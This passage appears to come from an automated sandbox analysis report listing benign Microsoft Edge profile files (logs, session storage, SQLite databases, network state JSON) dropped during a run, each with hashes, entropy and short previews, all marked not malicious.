Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............I.F&b................next-map-id.1.Cnamespace-fdf0e65f_e837_470c_ab9c_83d6af71b38a-https://ntp.msn.com/.0V.e................V.e................V.e................V.e.................I..................map-0-shd_sweeper.5{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.s.e.a.r.c.h.n.e.w.t.-.c.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.b.i.n.g._.v.2._.s.c.o.p.e.,.p.r.g.-.1.s.-.d.w.v.i.d.-.c.t.r.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.q.o.o.m.a.n.n.c.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.-.d.l.i.s.m.v.m.t.4.c.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.w.x.p.r.e.v.-.n.o.c.n.c.,.t.p.s.n.-.p.r.g.l.d.n.g.-.t.,.p.r.g.-.1.s.w.-.t.p.s.n.p.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.096636342102011
Encrypted:	false
SSDEEP:	6:HNzH4q2PN723oH+TcwtrQMxIFUt8YNOSvJZmw+YNADkwON723oH+TcwtrQMFLJ:t74vVaYebCFUt8uOSvJ/+uAD5OaYebtJ
MD5:	5F5E9AC7D648134FB4CF74A80120CE72
SHA1:	84AEA8EB7610275F31B36017873C6B51193CD663
SHA-256:	6CC12B69E9FEDE051148E3BBCF7B531AEE9462BB9E6EA660BF2BA2F1771C807E
SHA-512:	866B71D3AF1AC37ABCEDA0523390CC0094CAA166A25D8DAC30B1C4D536C58B6C85DB8FC38D6C101DC1346D7E540B370070FD4FA93C47B9A4251D1A012757F237
Malicious:	false
Preview:	2024/11/26-10:31:33.388 1f60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/26-10:31:33.393 1f60 Recovering log #3.2024/11/26-10:31:33.396 1f60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.096636342102011
Encrypted:	false
SSDEEP:	6:HNzH4q2PN723oH+TcwtrQMxIFUt8YNOSvJZmw+YNADkwON723oH+TcwtrQMFLJ:t74vVaYebCFUt8uOSvJ/+uAD5OaYebtJ
MD5:	5F5E9AC7D648134FB4CF74A80120CE72
SHA1:	84AEA8EB7610275F31B36017873C6B51193CD663
SHA-256:	6CC12B69E9FEDE051148E3BBCF7B531AEE9462BB9E6EA660BF2BA2F1771C807E
SHA-512:	866B71D3AF1AC37ABCEDA0523390CC0094CAA166A25D8DAC30B1C4D536C58B6C85DB8FC38D6C101DC1346D7E540B370070FD4FA93C47B9A4251D1A012757F237
Malicious:	false
Preview:	2024/11/26-10:31:33.388 1f60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/26-10:31:33.393 1f60 Recovering log #3.2024/11/26-10:31:33.396 1f60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377108694953048

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8074623271286163
Encrypted:	false
SSDEEP:	24:3XANh9ryfOppP+psAF4unxeDtLp3X2amEtG1ChqalFMad4nkUQKkOAM4:3Xq9ryf2P+zFmLp2FEkChRfknOHOp
MD5:	A271E97E2C868B00912B70BF611BCC58
SHA1:	5F3C2C9FC66AE1F4ED8CD74C6737194939803E51
SHA-256:	F24A3CF04AE0F6318F0D3232AE7253221F3D136A4A5024AEC4A9096AABA8F464
SHA-512:	2EFEA45C33041C4F69FD85F6FD05EB38AF8814D1E5602FD3692271EDF065B7AD25D90E90D746251970A5A84BC34185A64162DF7FEC29C24336F5020794E4FAE7
Malicious:	false
Preview:	SNSS........VB>............VB>......".VB>............VB>........VB>........VB>........VB>....!...VB>................................VB>.VB>1..,....VB>$...fdf0e65f_e837_470c_ab9c_83d6af71b38a....VB>........VB>......R.........VB>....VB>........................VB>....................5..0....VB>&...{46F3A197-DB49-410A-81B3-94975C835573}......VB>...........VB>........................VB>............VB>........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......P9...'..Q9...'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.098314845980327
Encrypted:	false
SSDEEP:	6:HNsQR5jL+q2PN723oH+Tcwt7Uh2ghZIFUt8YNsa1KWZmw+YNs8LVkwON723oH+T8:txRRL+vVaYebIhHh2FUt8u9AW/+uXLVy
MD5:	E7A1C61A311BE3DF852B3AD6D629BF0E
SHA1:	5F471F00B6DAC71A783305D5FF71CA02645F873B
SHA-256:	371C3A978F5355F22D9F9EB7C04F1A773DE0FAA1289B66654C5C0436A7024F03
SHA-512:	92452F6B3AC2B83EF0D3B4C8DACD8372622DF3A5F65DFA60254C9AA3A81F734242629D57030D0E589E26ABD932C2DAD167378654CB41A1C74930234DFC20CAA4
Malicious:	false
Preview:	2024/11/26-10:31:32.586 1ecc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/26-10:31:32.652 1ecc Recovering log #3.2024/11/26-10:31:32.654 1ecc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.098314845980327
Encrypted:	false
SSDEEP:	6:HNsQR5jL+q2PN723oH+Tcwt7Uh2ghZIFUt8YNsa1KWZmw+YNs8LVkwON723oH+T8:txRRL+vVaYebIhHh2FUt8u9AW/+uXLVy
MD5:	E7A1C61A311BE3DF852B3AD6D629BF0E
SHA1:	5F471F00B6DAC71A783305D5FF71CA02645F873B
SHA-256:	371C3A978F5355F22D9F9EB7C04F1A773DE0FAA1289B66654C5C0436A7024F03
SHA-512:	92452F6B3AC2B83EF0D3B4C8DACD8372622DF3A5F65DFA60254C9AA3A81F734242629D57030D0E589E26ABD932C2DAD167378654CB41A1C74930234DFC20CAA4
Malicious:	false
Preview:	2024/11/26-10:31:32.586 1ecc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/26-10:31:32.652 1ecc Recovering log #3.2024/11/26-10:31:32.654 1ecc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.205211290330733
Encrypted:	false
SSDEEP:	12:tQAvVaYebvqBQFUt8ug/+uF5OaYebvqBvJ:iyVaYebvZg8jOaYebvk
MD5:	82627C0781462D6584C29C52098D4A1E
SHA1:	2E093713EFA1EEF3EC52F80BB695FD524DCC1024
SHA-256:	275E00D5473068C4BCD5C3A950CB069BCF24A06E1159597FBEF608B51E265830
SHA-512:	C54FE527C4819F49FCE61498E2D8C177B244FC166F6D1234C11F499955F13A626D405C30BF7AA9328D68BE7474EF84006634436EB9980D7DB4E5C449A88A69D3
Malicious:	false
Preview:	2024/11/26-10:31:33.384 1610 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/26-10:31:33.388 1610 Recovering log #3.2024/11/26-10:31:33.392 1610 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.205211290330733
Encrypted:	false
SSDEEP:	12:tQAvVaYebvqBQFUt8ug/+uF5OaYebvqBvJ:iyVaYebvZg8jOaYebvk
MD5:	82627C0781462D6584C29C52098D4A1E
SHA1:	2E093713EFA1EEF3EC52F80BB695FD524DCC1024
SHA-256:	275E00D5473068C4BCD5C3A950CB069BCF24A06E1159597FBEF608B51E265830
SHA-512:	C54FE527C4819F49FCE61498E2D8C177B244FC166F6D1234C11F499955F13A626D405C30BF7AA9328D68BE7474EF84006634436EB9980D7DB4E5C449A88A69D3
Malicious:	false
Preview:	2024/11/26-10:31:33.384 1610 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/26-10:31:33.388 1610 Recovering log #3.2024/11/26-10:31:33.392 1610 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0a61e17a-4636-4b8d-aca7-b332d45e50d7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d7c3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b37682b2-3b71-4ede-899e-97362ac476ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f15686bb-6182-4e39-ac17-d3bd73b5ff5b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\fc45860a-56fc-4765-9d3b-33d5c081261c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.241727599433064
Encrypted:	false
SSDEEP:	12:tR4vVaYebvqBZFUt8uJ4NJ/+uND5OaYebvqBaJ:GVaYebvyg8sOOaYebvL
MD5:	E5D0C6C45B0A7844C0D32C03E728AB84
SHA1:	C66A3238CDEF294F28DCC401733948564C9231F7
SHA-256:	B1A19332F535A1122D6210AAF34012F3EC058D55036966FBC1E38BFA6762B7F4
SHA-512:	D996846E2D1A68683B7AE759AED27AED8D51AA4524AEF0F4F0F35E6E9CFFDA3DDC32D7C686A8D0B4EB28A6C172239F75B4C7E612C88602388DA10D8EA6A81BD3
Malicious:	false
Preview:	2024/11/26-10:31:49.851 1f60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/26-10:31:49.852 1f60 Recovering log #3.2024/11/26-10:31:49.855 1f60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.241727599433064
Encrypted:	false
SSDEEP:	12:tR4vVaYebvqBZFUt8uJ4NJ/+uND5OaYebvqBaJ:GVaYebvyg8sOOaYebvL
MD5:	E5D0C6C45B0A7844C0D32C03E728AB84
SHA1:	C66A3238CDEF294F28DCC401733948564C9231F7
SHA-256:	B1A19332F535A1122D6210AAF34012F3EC058D55036966FBC1E38BFA6762B7F4
SHA-512:	D996846E2D1A68683B7AE759AED27AED8D51AA4524AEF0F4F0F35E6E9CFFDA3DDC32D7C686A8D0B4EB28A6C172239F75B4C7E612C88602388DA10D8EA6A81BD3
Malicious:	false
Preview:	2024/11/26-10:31:49.851 1f60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/26-10:31:49.852 1f60 Recovering log #3.2024/11/26-10:31:49.855 1f60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.16839439081186
Encrypted:	false
SSDEEP:	6:HNsSdjIq2PN723oH+TcwtpIFUt8YNsUZmw+YNsxZJzkwON723oH+Tcwta/WLJ:t9djIvVaYebmFUt8uP/+umZJz5OaYeb7
MD5:	7626E426BFE5BED1A414812E67499B89
SHA1:	06B2DB1B80F17BFB653A1AD4DF7292B05C356715
SHA-256:	A45830F87FC4BC6330CE8760D25214E979673002734E887DACE8C2F24DF36FC6
SHA-512:	9E89831B139E063B9F53D99BB2459013C0FCC5C2CDC8AB09DB92F80842596A039F9037A5B1A139609FAB7758B714339727891C6CA568A16A80F108EFE8C7A896
Malicious:	false
Preview:	2024/11/26-10:31:32.661 1e84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/26-10:31:32.670 1e84 Recovering log #3.2024/11/26-10:31:32.671 1e84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.16839439081186
Encrypted:	false
SSDEEP:	6:HNsSdjIq2PN723oH+TcwtpIFUt8YNsUZmw+YNsxZJzkwON723oH+Tcwta/WLJ:t9djIvVaYebmFUt8uP/+umZJz5OaYeb7
MD5:	7626E426BFE5BED1A414812E67499B89
SHA1:	06B2DB1B80F17BFB653A1AD4DF7292B05C356715
SHA-256:	A45830F87FC4BC6330CE8760D25214E979673002734E887DACE8C2F24DF36FC6
SHA-512:	9E89831B139E063B9F53D99BB2459013C0FCC5C2CDC8AB09DB92F80842596A039F9037A5B1A139609FAB7758B714339727891C6CA568A16A80F108EFE8C7A896
Malicious:	false
Preview:	2024/11/26-10:31:32.661 1e84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/26-10:31:32.670 1e84 Recovering log #3.2024/11/26-10:31:32.671 1e84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2679322139357654
Encrypted:	false
